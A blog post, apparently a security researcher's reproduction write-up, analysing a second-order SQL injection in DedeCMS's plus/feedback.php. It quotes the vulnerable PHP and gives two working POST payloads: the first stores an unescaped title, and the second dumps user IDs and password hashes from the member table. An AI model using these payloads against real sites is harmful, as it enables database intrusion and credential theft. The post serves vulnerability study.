dedecms二次注入漏洞


dedecms二次注入漏洞

安装

首先搭建环境,注意php版本不要大于5.3,安装完后删除install文件夹

进入主页是这样的

分析

漏洞点在\dedecms\plus\feedback.php

//保存评论内容
	if($comtype == 'comments')
	{
		$arctitle = addslashes($title);
		if($msg!='')
		{
			$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
	               VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
			$rs = $dsql->ExecuteNoneQuery($inquery);
			if(!$rs)
			{
				ShowMsg(' 发表评论错误! ', '-1');
				//echo $dsql->GetError();
				exit();
			}
		}
	}

$arctitle = addslashes($title);,把传进来的内容转义了,然后下面insert把转义后的内容插入到数据库,这儿没有什么异常

//引用回复
	elseif ($comtype == 'reply')
	{
		$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
		$arctitle = $row['arctitle'];
		$aid =$row['aid'];
		$msg = $quotemsg.$msg;
		$msg = HtmlReplace($msg,2);
		$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
				VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
		$dsql->ExecuteNoneQuery($inquery);
	}

$row = $dsql->GetOne("Select * from #@__feedback where id ='$fid'");

$arctitle = $row['arctitle'];

这两句代码将id为fid的评论的读取出来,并将之前保存的标题赋值给arctitle,然后再将这个值插入数据库中,这时插入的值是没有经过addslashes转义的,这就导致了二次注入

操作

先用管理员账号新增一个栏目用来发表文章dedecms/dede/

注册一个普通用户用来做测试对象

进入主页随便发布一篇文章

第一次注入

根据代码构造payload

get  http://dedecms/plus/feedback.php?aid=1

post  action=send&comtype=comments&aid=1&isconfirm=yes&msg=xx&validate=GVZH&title=xx',(char(@`'`)),/*

aid为文章ID号,action为处理方式,comtype为操作方式,vaildate为验证码,也能注释掉方便测试,title未标题,构建payload的地方,其他参数审计得到

注释验证码

执行注入就会发表一条评论,可以看到注入单引号被转义了

第二次注入

在第一条评论上注入

fid为评论的ID号

get  http://dedecms/plus/feedback.php?aid=1

post  action=send&comtype=reply&fid=1&isconfirm=yes&validate=xx&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/xxxxx_member/**/limit/**/1))%23

这里可以证实读取出来的acrtitle是没有转义的,再和msg拼接就造成了恶意sql代码的执行,并且把执行结果暴露出来了

至此复现成功

这里贴一下后台的数据库


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录